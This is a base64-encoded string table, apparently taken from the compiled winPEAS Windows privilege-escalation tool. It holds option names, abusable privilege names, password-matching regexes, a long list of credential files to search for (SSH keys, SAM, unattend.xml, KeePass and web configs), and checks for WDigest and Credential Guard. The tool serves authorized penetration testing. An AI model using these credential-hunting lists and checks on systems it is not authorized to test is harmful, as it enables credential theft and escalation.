bgBnACAAYwB1AHIAcgBlAG4AdAAgAHUAcwBlAHIAIABnAHIAbwB1AHAAcwAgAGwAaQBzAHQAOgAgAABFIAAgACAALQAgAEMAcgBlAGEAdABpAG4AZwAgAGEAYwB0AGkAdgBlACAAdQBzAGUAcgBzACAAbABpAHMAdAAuAC4ALgABA3wAAB18AEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAAB1BAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHwAABtBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAABRRQByAHIAbwByACAAdwBoAGkAbABlACAAYwByAGUAYQB0AGkAbgBnACAAYQBjAHQAaQB2AGUAIAB1AHMAZQByAHMAIABsAGkAcwB0ADoAIAAASSAAIAAgAC0AIABDAHIAZQBhAHQAaQBuAGcAIABkAGkAcwBhAGIAbABlAGQAIAB1AHMAZQByAHMAIABsAGkAcwB0AC4ALgAuAAFVRQByAHIAbwByACAAdwBoAGkAbABlACAAYwByAGUAYQB0AGkAbgBnACAAZABpAHMAYQBiAGwAZQBkACAAdQBzAGUAcgBzACAAbABpAHMAdAA6ACAAADEgACAAIAAtACAAQQBkAG0AaQBuACAAdQBzAGUAcgBzACAAbABpAHMAdAAuAC4ALgABXUUAcgByAG8AcgAgAHcAaABpAGwAZQAgAGMAcgBlAGEAdABpAG4AZwAgAGEAZABtAGkAbgAgAHUAcwBlAHIAcwAgAGcAcgBvAHUAcABzACAAbABpAHMAdAA6ACAAAA9DAE8ATgBTAE8ATABFAAApVgBpAHIAdAB1AGEAbABUAGUAcgBtAGkAbgBhAGwATABlAHYAZQBsAACBpUEATgBTAEkAIABjAG8AbABvAHIAIABiAGkAdAAgAGYAbwByACAAVwBpAG4AZABvAHcAcwAgAGkAcwAgAG4AbwB0ACAAcwBlAHQALgAgAEkAZgAgAHkAbwB1ACAAYQByAGUAIABlAHgAZQBjAGMAdQB0AGkAbgBnACAAdABoAGkAcwAgAGYAcgBvAG0AIABhACAAVwBpAG4AZABvAHcAcwAgAHQAZQByAG0AaQBuAGEAbAAgAGkAbgBzAGkAZABlACAAdABoAGUAIABoAG8AcwB0ACAAeQBvAHUAIABzAGgAbwB1AGwAZAAgAHIAdQBuACAAJwBSAEUARwAgAEEARABEACAASABLAEMAVQBcAEMAbwBuAHMAbwBsAGUAIAAvAHYAIABWAGkAcgB0AHUAYQBsAFQAZQByAG0AaQBuAGEAbABMAGUAdgBlAGwAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADEAJwAgAGEAbgBkACAAdABoAGUAbgAgAHMAdABhAHIAdAAgAGEAIABuAGUAdwAgAEMATQBEAAFVRQByAHIAbwByACAAdwBoAGkAbABlACAAYwBoAGUAYwBrAGkAbgBnACAAYQBuAHMAaQAgAGMAbwBsAG8AcgAgAHIAZQBnAGkAcwB0AHIAeQA6ACAAACVTAHkAcwB0AGUAbQAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAI1UAcwBlAHIAcwAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAK1AAcgBvAGMAZQBzAHMAZQBzACAASQBuAGYAbwByAG0AYQB0AGkAbwBuAAApUwBlAHIAdgBpAGMAZQBzACAASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAxQQBwAHAAbABpAGMAYQB0AGkAbwBuAHMAIABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AACdOAGUAdAB3AG8AcgBrACAASQBuAGYAbwByAG0AYQB0AGkAbwBuAAApQgByAG8AdwBzAGUAcgBzACAASQBuAGYAbwByAG0AYQB0AGkAbwBuAAA9SQBuAHQAZQByAGUAcwB0AGkAbgBnACAAZgBpAGwAZQBzACAAYQBuAGQAIAByAGUAZwBpAHMAdAByAHkAAAdjAG0AZAAAEW4AbwB0AGMAbwBsAG8AcgAAC3EAdQBpAGUAdAAAE3MAZQBhAHIAYwBoAGEAbABsAAAVcwBlAGEAcgBjAGgAZgBhAHMAdAAACWgAZQBsAHAAAAUtAGgAAQ0tAC0AaABlAGwAcAABBS8AaAAAFXMAeQBzAHQAZQBtAGkAbgBmAG8AABF1AHMAZQByAGkAbgBmAG8AABVwAHIAbwBjAGUAcwBpAG4AZgBvAAAZcwBlAHIAdgBpAGMAZQBzAGkAbgBmAG8AACFhAHAAcABsAGkAYwBhAHQAaQBvAG4AcwBpAG4AZgBvAAAXbgBlAHQAdwBvAHIAawBpAG4AZgBvAAAZdwBpAG4AZABvAHcAcwBjAHIAZQBkAHMAABdiAHIAbwB3AHMAZQByAGkAbgBmAG8AABNmAGkAbABlAHMAaQBuAGYAbwAAgRd2AEIARQBUAEEAIABWAEUAUgBTAEkATwBOACwAIABQAGwAZQBhAHMAZQAgAGkAZgAgAHkAbwB1ACAAZgBpAG4AZAAgAGEAbgB5ACAAaQBzAHMAdQBlACAAbABlAHQAIABtAGUAIABrAG4AbwB3ACAAaQBuACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBjAGEAcgBsAG8AcwBwAG8AbABvAHAALwBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4ALQBhAHcAZQBzAG8AbQBlAC0AcwBjAHIAaQBwAHQAcwAtAHMAdQBpAHQAZQAvAGkAcwBzAHUAZQBzAAGCE3cAaQBuAHAAZQBhAHMAIABzAGgAbwB1AGwAZAAgAGIAZQAgAHUAcwBlAGQAIABmAG8AcgAgAGEAdQB0AGgAbwByAGkAegBlAGQAIABwAGUAbgBlAHQAcgBhAHQAaQBvAG4AIAB0AGUAcwB0AGkAbgBnACAAYQBuAGQALwBvAHIAIABlAGQAdQBjAGEAdABpAG8AbgBhAGwAIABwAHUAcgBwAG8AcwBlAHMAIABvAG4AbAB5AC4AQQBuAHkAIABtAGkAcwB1AHMAZQAgAG8AZgAgAHQAaABpAHMAIABzAG8AZgB0AHcAYQByAGUAIAB3AGkAbABsACAAbgBvAHQAIABiAGUAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAaQBiAGkAbABpAHQAeQAgAG8AZgAgAHQAaABlACAAYQB1AHQAaABvAHIAIABvAHIAIABvAGYAIABhAG4AeQAgAG8AdABoAGUAcgAgAGMAbwBsAGwAYQBiAG8AcgBhAHQAbwByAC4AIABVAHMAZQAgAGkAdAAgAGEAdAAgAHkAbwB1AHIAIABvAHcAbgAgAG4AZQB0AHcAbwByAGsAcwAgAGEAbgBkAC8AbwByACAAdwBpAHQAaAAgAHQAaABlACAAbgBlAHQAdwBvAHIAawAgAG8AdwBuAGUAcgAnAHMAIABwAGUAcgBtAGkAcwBzAGkAbwBuAC4AAQtGAGEAbABzAGUAAFlkAG8AYwBrAGUAcgB8AFIAZQBtAG8AdABlACAAfABEAE4AUwBBAGQAbQBpAG4AcwB8AEEAegB1AHIAZQAgAEEAZABtAGkAbgBzAHwAQQBkAG0AaQBuAHMAACNOAG8AdABDAGgAYQBuAGcAZQB8AE4AbwB0AEUAeABwAGkAAIF1UwBlAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQBQAHIAaQB2AGkAbABlAGcAZQB8AFMAZQBBAHMAcwBpAGcAbgBQAHIAaQBtAGEAcgB5AFAAcgBpAHYAaQBsAGUAZwBlAHwAUwBlAFQAYwBiAFAAcgBpAHYAaQBsAGUAZwBlAHwAUwBlAEIAYQBjAGsAdQBwAFAAcgBpAHYAaQBsAGUAZwBlAHwAUwBlAFIAZQBzAHQAbwByAGUAUAByAGkAdgBpAGwAZQBnAGUAfABTAGUAQwByAGUAYQB0AGUAVABvAGsAZQBuAFAAcgBpAHYAaQBsAGUAZwBlAHwAUwBlAEwAbwBhAGQARAByAGkAdgBlAHIAUAByAGkAdgBpAGwAZQBnAGUAfABTAGUAVABhAGsAZQBPAHcAbgBlAHIAcwBoAGkAcABQAHIAaQB2AGkAbABlAGcAZQB8AFMAZQBEAGUAYgB1AGcAUAByAGkAdgBpAGwAZQBnAGUAAIJvVwBpAG4AZABvAHcAcwAgAFAAaABvAG4AZQAgAEsAaQB0AHMAfABXAGkAbgBkAG8AdwBzACAASwBpAHQAcwB8AFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAfABXAGkAbgBkAG8AdwBzACAATQBhAGkAbAB8AFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABQAGwAYQB5AGUAcgB8AFcAaQBuAGQAbwB3AHMAIABNAHUAbAB0AGkAbQBlAGQAaQBhACAAUABsAGEAdABmAG8AcgBtAHwAdwBpAG4AZABvAHcAcwAgAG4AdAB8AFcAaQBuAGQAbwB3AHMAIABQAGgAbwB0AG8AIABWAGkAZQB3AGUAcgB8AFcAaQBuAGQAbwB3AHMAIABQAG8AcgB0AGEAYgBsAGUAIABEAGUAdgBpAGMAZQBzAHwAVwBpAG4AZABvAHcAcwAgAFMAZQBjAHUAcgBpAHQAeQB8AFcAaQBuAGQAbwB3AHMAIABTAGkAZABlAGIAYQByAHwAVwBpAG4AZABvAHcAcwBBAHAAcABzAHwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAHwAIABXAGkAbgBkAG8AdwBzACQAfABNAGkAYwByAG8AcwBvAGYAdAB8AFcATwBXADYANAAzADIATgBvAGQAZQB8AGkAbgB0AGUAcgBuAGUAdAAgAGUAeABwAGwAbwByAGUAcgB8AEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgB8AEMAbwBtAG0AbwBuACAARgBpAGwAZQBzAAAZWwBhAC0AegBBAC0AWgBdACsAWwAkAF0AARMxADIANwAuADAALgAwAC4AMQAAUU4AbwAgAHAAcgBvAG0AcAB0AGkAbgBnAHwAUAByAG8AbQBwAHQARgBvAHIATgBvAG4AVwBpAG4AZABvAHcAcwBCAGkAbgBhAHIAaQBlAHMAAD9QAHIAbwBtAHAAdABQAGUAcgBtAGkAdABEAGUAbgB5AE8AbgBTAGUAYwB1AHIAZQBEAGUAcwBrAHQAbwBwAAAlTABBAFAAUwAgAG4AbwB0ACAAaQBuAHMAdABhAGwAbABlAGQAAIIVWwBwAFAAXQBbAGEAQQBdAFsAcwBTAF0AWwBzAFMAXQBbAHcAVwBdAFsAYQAtAHoAQQAtAFoAMAAtADkAXwAtAF0AKgB8AFsAcABQAF0AWwB3AFcAXQBbAGQARABdAFsAYQAtAHoAQQAtAFoAMAAtADkAXwAtAF0AKgB8AFsAbgBOAF0AWwBhAEEAXQBbAG0ATQBdAFsAZQBFAF0AfABbAGwATABdAFsAbwBPAF0AWwBnAEcAXQBbAGkASQBdAFsAbgBOAF0AfABbAGMAQwBdAFsAbwBPAF0AWwBuAE4AXQBbAHQAVABdAFsAcgBSAF0AWwBhAEEAXQBbAHMAUwBdAFsAZQBFAF0AWwBhAC0AegBBAC0AWgAwAC0AOQBfAC0AXQAqAHwAWwBjAEMAXQBbAHIAUgBdAFsAZQBFAF0AWwBkAEQAXQBbAGUARQBdAFsAbgBOAF0AWwB0AFQAXQBbAGkASQBdAFsAYQBBAF0AWwBsAEwAXQBbAGEALQB6AEEALQBaADAALQA5AF8ALQBdACoAfABbAGEAQQBdAFsAcABQAF0AWwBpAEkAXQB8AFsAdABUAF0AWwBvAE8AXQBbAGsASwBdAFsAZQBFAF0AWwBuAE4AXQB8AFsAcwBTAF0AWwBlAEUAXQBbAHMAUwBdAFsAcwBTAF0AWwBhAC0AegBBAC0AWgAwAC0AOQBfAC0AXQAqAAE/fABbAHUAVQBdAFsAcwBTAF0AWwBlAEUAXQBbAHIAUgBdAFsAYQAtAHoAQQAtAFoAMAAtADkAXwAtAF0AKgABKVAAQQBTAFMAVwBbAGEALQB6AEEALQBaADAALQA5AF8ALQBdACoAPQABJVAAVwBEAFsAYQAtAHoAQQAtAFoAMAAtADkAXwAtAF0AKgA9AAEnVQBTAEUAUgBbAGEALQB6AEEALQBaADAALQA5AF8ALQBdACoAPQABC04AQQBNAEUAPQAADSYATABPAEcASQBOAAANPQBMAE8ARwBJAE4AADNDAE8ATgBUAFIAQQBTAEUA0QBBAFsAYQAtAHoAQQAtAFoAMAAtADkAXwAtAF0AKgA9AAEzQwBSAEUARABFAE4AVABJAEEATABbAGEALQB6AEEALQBaADAALQA5AF8ALQBdACoAPQABD0EAUABJAF8ASwBFAFkAAAtUAE8ASwBFAE4AAIRfUgBEAEMATQBhAG4ALgBzAGUAdAB0AGkAbgBnAHMAOwAqAC4AcgBkAGcAOwAqAF8AaABpAHMAdABvAHIAeQAqADsAaAB0AHQAcABkAC4AYwBvAG4AZgA7AC4AaAB0AHAAYQBzAHMAdwBkADsALgBnAGkAdABjAG8AbgBmAGkAZwA7AC4AZwBpAHQALQBjAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwBEAG8AYwBrAGUAcgBmAGkAbABlADsAZABvAGMAawBlAHIALQBjAG8AbQBwAG8AcwBlAC4AeQBtAGwAOwBhAGMAYwBlAHMAcwBfAHQAbwBrAGUAbgBzAC4AZABiADsAYQBjAGMAZQBzAHMAVABvAGsAZQBuAHMALgBqAHMAbwBuADsAYQB6AHUAcgBlAFAAcgBvAGYAaQBsAGUALgBqAHMAbwBuADsAYQBwAHAAYwBtAGQALgBlAHgAZQA7AHMAYwBjAGwAaQBlAG4AdAAuAGUAeABlADsAKgAuAGcAcABnACQAOwAqAC4AcABnAHAAJAA7ACoAYwBvAG4AZgBpAGcAKgAuAHAAaABwADsAZQBsAGEAcwB0AGkAYwBzAGUAYQByAGMAaAAuAHkAKgBtAGwAOwBrAGkAYgBhAG4AYQAuAHkAKgBtAGwAOwAqAC4AcAAxADIAJAA7ACoALgBjAGUAcgAkADsAawBuAG8AdwBuAF8AaABvAHMAdABzADsAKgBpAGQAXwByAHMAYQAqADsAKgBpAGQAXwBkAHMAYQAqADsAKgAuAG8AdgBwAG4AOwB0AG8AbQBjAGEAdAAtAHUAcwBlAHIAcwAuAHgAbQBsADsAdwBlAGIALgBjAG8AbgBmAGkAZwA7ACoALgBrAGQAYgB4ADsASwBlAGUAUABhAHMAcwAuAGMAbwBuAGYAaQBnADsATgB0AGQAcwAuAGQAaQB0ADsAUwBBAE0AOwBTAFkAUwBUAEUATQA7AEYAcgBlAGUAUwBTAEgARABzAGUAcgB2AGkAYwBlAC4AaQBuAGkAOwBzAHkAcwBwAHIAZQBwAC4AaQBuAGYAOwBzAHkAcwBwAHIAZQBwAC4AeABtAGwAOwAqAHYAbgBjACoALgBpAG4AaQA7ACoAdgBuAGMAKgAuAGMAKgBuAGYAKgA7ACoAdgBuAGMAKgAuAHQAeAB0ADsAKgB2AG4AYwAqAC4AeABtAGwAOwBwAGgAcAAuAGkAbgBpADsAaAB0AHQAcABzAC4AYwBvAG4AZgA7AGgAdAB0AHAAcwAtAHgAYQBtAHAAcAAuAGMAbwBuAGYAOwBtAHkALgBpAG4AaQA7AG0AeQAuAGMAbgBmADsAYQBjAGMAZQBzAHMALgBsAG8AZwA7AGUAcgByAG8AcgAuAGwAbwBnADsAcwBlAHIAdgBlAHIALgB4AG0AbAA7AEMAbwBuAHMAbwBsAGUASABvAHMAdABfAGgAaQBzAHQAbwByAHkALgB0AHgAdAABgUU7AHUAbgBhAHQAdABlAG4AZAAuAHQAeAB0ADsAKgAuAGQAZQByACQAOwAqAC4AYwBzAHIAJAA7AHUAbgBhAHQAdABlAG4AZAAuAHgAbQBsADsAdQBuAGEAdAB0AGUAbgBkAGUAZAAuAHgAbQBsADsAZwByAG8AdQBwAHMALgB4AG0AbAA7AHMAZQByAHYAaQBjAGUAcwAuAHgAbQBsADsAcwBjAGgAZQBkAHUAbABlAGQAdABhAHMAawBzAC4AeABtAGwAOwBwAHIAaQBuAHQAZQByAHMALgB4AG0AbAA7AGQAcgBpAHYAZQBzAC4AeABtAGwAOwBkAGEAdABhAHMAbwB1AHIAYwBlAHMALgB4AG0AbAA7AHMAZQB0AHUAcABpAG4AZgBvADsAcwBlAHQAdQBwAGkAbgBmAG8ALgBiAGEAawAAhWNSAEQAQwBNAGEAbgAuAHMAZQB0AHQAaQBuAGcAcwB8AC4AcgBkAGcAfABfAGgAaQBzAHQAbwByAHkAfABoAHQAdABwAGQALgBjAG8AbgBmAHwALgBoAHQAcABhAHMAcwB3AGQAfAAuAGcAaQB0AGMAbwBuAGYAaQBnAHwALgBnAGkAdAAtAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwB8AEQAbwBjAGsAZQByAGYAaQBsAGUAfABkAG8AYwBrAGUAcgAtAGMAbwBtAHAAbwBzAGUALgB5AG0AbABhAGMAYwBlAHMAcwBfAHQAbwBrAGUAbgBzAC4AZABiAHwAYQBjAGMAZQBzAHMAVABvAGsAZQBuAHMALgBqAHMAbwBuAHwAYQB6AHUAcgBlAFAAcgBvAGYAaQBsAGUALgBqAHMAbwBuAHwAYQBwAHAAYwBtAGQALgBlAHgAZQB8AHMAYwBjAGwAaQBlAG4AdAAuAGUAeABlAHwAdQBuAGEAdAB0AGUAbgBkAC4AdAB4AHQAfABhAGMAYwBlAHMAcwAuAGwAbwBnAHwAZQByAHIAbwByAC4AbABvAGcAfABjAHIAZQBkAGUAbgB0AGkAYQBsAHwAcABhAHMAcwB3AG8AcgBkAHwALgBnAHAAZwB8AC4AcABnAHAAfABjAG8AbgBmAGkAZwAuAHAAaABwAHwAZQBsAGEAcwB0AGkAYwBzAGUAYQByAGMAaAB8AGsAaQBiAGEAbgBhAC4AfAAuAHAAMQAyAHwAXAAuAGQAZQByAHwALgBjAHMAcgB8AC4AYwByAHQAfAAuAGMAZQByAHwALgBwAGUAbQB8AGsAbgBvAHcAbgBfAGgAbwBzAHQAcwB8AGkAZABfAHIAcwBhAHwAaQBkAF8AZABzAGEAfAAuAG8AdgBwAG4AfAB0AG8AbQBjAGEAdAAtAHUAcwBlAHIAcwAuAHgAbQBsAHwAdwBlAGIALgBjAG8AbgBmAGkAZwB8AC4AawBkAGIAeAB8AC4AawBlAHkAfABLAGUAZQBQAGEAcwBzAC4AYwBvAG4AZgBpAGcAfABuAHQAZABzAC4AZABpAHIAfABOAHQAZABzAC4AZABpAHQAfABzAGEAbQB8AHMAeQBzAHQAZQBtAHwAUwBBAE0AfABTAFkAUwBUAEUATQB8AEYAcgBlAGUAUwBTAEgARABzAGUAcgB2AGkAYwBlAC4AaQBuAGkAfABzAHkAcwBwAHIAZQBwAC4AaQBuAGYAfABzAHkAcwBwAHIAZQBwAC4AeABtAGwAfAB1AG4AYQB0AHQAZQBuAGQALgB4AG0AbAB8AHUAbgBhAHQAdABlAG4AZABlAGQALgB4AG0AbAB8AHYAbgBjAHwAZwByAG8AdQBwAHMALgB4AG0AbAB8AHMAZQByAHYAaQBjAGUAcwAuAHgAbQBsAHwAcwBjAGgAZQBkAHUAbABlAGQAdABhAHMAawBzAC4AeABtAGwAfABwAHIAaQBuAHQAZQByAHMALgB4AG0AbAB8AGQAcgBpAHYAZQBzAC4AeABtAGwAfABkAGEAdABhAHMAbwB1AHIAYwBlAHMALgB4AG0AbAB8AHAAaABwAC4AaQBuAGkAfABoAHQAdABwAHMALgBjAG8AbgBmAHwAaAB0AHQAcABzAC0AeABhAG0AcABwAC4AYwBvAG4AZgB8AG0AeQAuAGkAbgBpAHwAbQB5AC4AYwBuAGYAfABhAGMAYwBlAHMAcwAuAGwAbwBnAHwAZQByAHIAbwByAC4AbABvAGcAfABzAGUAcgB2AGUAcgAuAHgAbQBsAHwAcwBlAHQAdQBwAGkAbgBmAG8AATFCAGEAcwBpAGMAIABTAHkAcwB0AGUAbQAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAO1QAMQAwADgAMgAmAFQAMQAxADIANAAmAFQAMQAwADEAMgAmAFQAMQA0ADkANwAmAFQAMQAyADEAMgAAgK1oAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAawBlAHIAbgBlAGwALQBlAHgAcABsAG8AaQB0AHMAAYCDQwBoAGUAYwBrACAAaQBmACAAdABoAGUAIABXAGkAbgBkAG8AdwBzACAAdgBlAHIAcwBpAG8AbgBzACAAaQBzACAAdgB1AGwAbgBlAHIAYQBiAGwAZQAgAHQAbwAgAHMAbwBtAGUAIABrAG4AbwB3AG4AIABlAHgAcABsAG8AaQB0AAARSABvAHQAZgBpAHgAZQBzAAAnUABvAHcAZQByAFMAaABlAGwAbAAgAFMAZQB0AHQAaQBuAGcAcwAAHUEAdQBkAGkAdAAgAFMAZQB0AHQAaQBuAGcAcwAAC1QAMQAwADEAMgAANUMAaABlAGMAawAgAHcAaABhAHQAIABpAHMAIABiAGUAaQBuAGcAIABsAG8AZwBnAGUAZAAAGVcARQBGACAAUwBlAHQAdABpAG4AZwBzAACAj1cAaQBuAGQAbwB3AHMAIABFAHYAZQBuAHQAIABGAG8AcgB3AGEAcgBkAGkAbgBnACwAIABpAHMAIABpAG4AdABlAHIAZQBzAHQAaQBuAGcAIAB0AG8AIABrAG4AbwB3ACAAdwBlAHIAZQAgAGEAcgBlACAAcwBlAG4AdAAgAHQAaABlACAAbABvAGcAcwAAG0wAQQBQAFMAIABTAGUAdAB0AGkAbgBnAHMAAICzSQBmACAAaQBuAHMAdABhAGwAbABlAGQALAAgAGwAbwBjAGEAbAAgAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIABwAGEAcwBzAHcAbwByAGQAIABpAHMAIABjAGgAYQBuAGcAZQBkACAAZgByAGUAcQB1AGUAbgB0AGwAeQAgAGEAbgBkACAAaQBzACAAcgBlAHMAdAByAGkAYwB0AGUAZAAgAGIAeQAgAEEAQwBMAAAPVwBkAGkAZwBlAHMAdAAAgLFoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwBzAHQAZQBhAGwAaQBuAGcALQBjAHIAZQBkAGUAbgB0AGkAYQBsAHMALwBjAHIAZQBkAGUAbgB0AGkAYQBsAHMALQBwAHIAbwB0AGUAYwB0AGkAbwBuAHMAIwB3AGQAaQBnAGUAcwB0AAFpSQBmACAAZQBuAGEAYgBsAGUAZAAsACAAcABsAGEAaQBuAC0AdABlAHgAdAAgAGMAcgBkAHMAIABjAG8AdQBsAGQAIABiAGUAIABzAHQAbwByAGUAZAAgAGkAbgAgAEwAUwBBAFMAUwABdVMAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAQwBvAG4AdAByAG8AbABcAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB2AGkAZABlAHIAcwBcAFcARABpAGcAZQBzAHQAACVVAHMAZQBMAG8AZwBvAG4AQwByAGUAZABlAG4AdABpAGEAbAAAKyAAIAAgACAAVwBkAGkAZwBlAHMAdAAgAGkAcwAgAGEAYwB0AGkAdgBlAAA1IAAgACAAIABXAGQAaQBnAGUAcwB0ACAAaQBzACAAbgBvAHQAIABlAG4AYQBiAGwAZQBkAAAdTABTAEEAIABQAHIAbwB0AGUAYwB0AGkAbwBuAACAv2gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHMAdABlAGEAbABpAG4AZwAtAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAvAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAtAHAAcgBvAHQAZQBjAHQAaQBvAG4AcwAjAGwAcwBhAC0AcAByAG8AdABlAGMAdABpAG8AbgABgQ1JAGYAIABlAG4AYQBiAGwAZQBkACwAIABhACAAZAByAGkAdgBlAHIAIABpAHMAIABuAGUAZQBkAGUAZAAgAHQAbwAgAHIAZQBhAGQAIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAgACgASQBmACAAUwBlAGMAdQByAGUAIABCAG8AbwB0ACAAbwByACAAVQBFAEYASQAsACAAUgB1AG4AQQBzAFAAUABMACAAYwBhAG4AbgBvAHQAIABiAGUAIABkAGkAcwBhAGIAbABlAGQAIABiAHkAIABkAGUAbABlAHQAaQBuAGcAIAB0AGgAZQAgAHIAZQBnAGkAcwB0AHIAeQAgAGsAZQB5ACkAAElTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABMAFMAQQAAEVIAdQBuAEEAcwBQAFAATAAAOSAAIAAgACAATABTAEEAIABQAHIAbwB0AGUAYwB0AGkAbwBuACAAaQBzACAAYQBjAHQAaQB2AGUAAEMgACAAIAAgAEwAUwBBACAAUAByAG8AdABlAGMAdABpAG8AbgAgAGkAcwAgAG4AbwB0ACAAZQBuAGEAYgBsAGUAZAAAI0MAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAEcAdQBhAHIAZAAAgMNoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwBzAHQAZQBhAGwAaQBuAGcALQBjAHIAZQBkAGUAbgB0AGkAYQBsAHMALwBjAHIAZQBkAGUAbgB0AGkAYQBsAHMALQBwAHIAbwB0AGUAYwB0AGkAbwBuAHMAIwBjAHIAZQBkAGUAbgB0AGkAYQBsAC0AZwB1AGEAcgBkAAFnSQBmACAAZQBuAGEAYgBsAGUAZAAsACAAYQAgAGQAcgBpAHYAZQByACAAaQBzACAAbgBlAGUAZABlAGQAIAB0AG8AIAByAGUAYQBkACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkAAElTAHkAcwB0AGUAbQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABMAFMAQQAAF0wAcwBhAEMAZgBnAEYAbABhAGcAcwAAgR8gACAAIAAgAFAAbABlAGEAcwBlACwAIABuAG8AdABlACAAdABoAGEAdAAgAHQAaABpAHMAIABvAG4AbAB5ACAAYwBoAGUAYwBrAHMAIAB0AGgAZQAgAEwAcwBhAEMAZgBnAEYAbABhAGcAcwAgAGsAZQB5ACAAdgBhAGwAdQBlAC4AIABUAGgAaQBzACAAaQBzACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHQAbwAgAGUAbgBhAGIAbABlACAAQwByAGUAZABlAG4AdABpAGEAbABzACAARwB1AGEAcgBkACAAKABiAHUAdAAgAGkAdAAnAHMAIABhACAAcwB0AHIAbwBuAGcAIABpAG4AZABpAGMAYQB0AG8AcgApAC4AAVkgACAAIAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwARwB1AGEAcgBkACAAaQBzACAAYQBjAHQAaQB2AGUAIAB3AGkAdABoACAAVQBFAEYASQAgAGwAbwBjAGsAAAMyAABfIAAgACAAIABDAHIAZQBkAGUAbgB0AGkAYQBsAEcAdQBhAHIAZAAgAGkAcwAgAGEAYwB0AGkAdgBlACAAdwBpAHQAaABvAHUAdAAgAFUARQBGAEkAIABsAG8AYwBrAABFIAAgACAAIABDAHIAZQBkAGUAbgB0AGkAYQBsAEcAdQBhAHIAZAAgAGkAcwAgAG4AbwB0ACAAZQBuAGEAYgBsAGUAZAAAGUMAYQBjAGgAZQBkACAAQwByAGUAZABzAACAx2gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHMAdABlAGEAbABpAG4AZwAtAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAvAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAtAHAAcgBvAHQAZQBjAHQAaQBvAG4AcwAjAGMAYQBjAGgAZQBkAC0AYwByAGUAZABlAG4AdABpAGEAbABzAAGAoUkAZgAgAD4AIAAwACwAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAB3AGkAbABsACAAYgBlACAAYwBhAGMAaABlAGQAIABpAG4AIAB0AGgAZQAgAHIAZQBnAGkAcwB0AHIAeQAgAGEAbgBkACAAYQBjAGMAZQBzAHMAaQBiAGwAZQAgAGIAeQAgAFMAWQBTAFQARQBNACAAdQBzAGUAcgAAa1MATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFcAaQBuAGwAbwBnAG8AbgAAI0MAQQBDAEgARQBEAEwATwBHAE8ATgBTAEMATwBVAE4AVAAAMyAAIAAgACAAYwBhAGMAaABlAGQAbABvAGcAbwBuAHMAYwBvAHUAbgB0ACAAaQBzACAAADVVAHMAZQByACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAHIAaQBhAGIAbABlAHMAAGtDAGgAZQBjAGsAIABmAG8AcgAgAHMAbwBtAGUAIABwAGEAcwBzAHcAbwByAGQAcwAgAG8AcgAgAGsAZQB5AHMAIABpAG4AIAB0AGgAZQAgAGUAbgB2ACAAdgBhAHIAaQBhAGIAbABlAHMAADlTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQBzAAAbUAByAG8AeAB5AFMAZQByAHYAZQByAC4AKgAALUgASwBDAFUAIABJAG4AdABlAHIAbgBlAHQAIABTAGUAdAB0AGkAbgBnAHMAAC1IAEsATABNACAASQBuAHQAZQByAG4A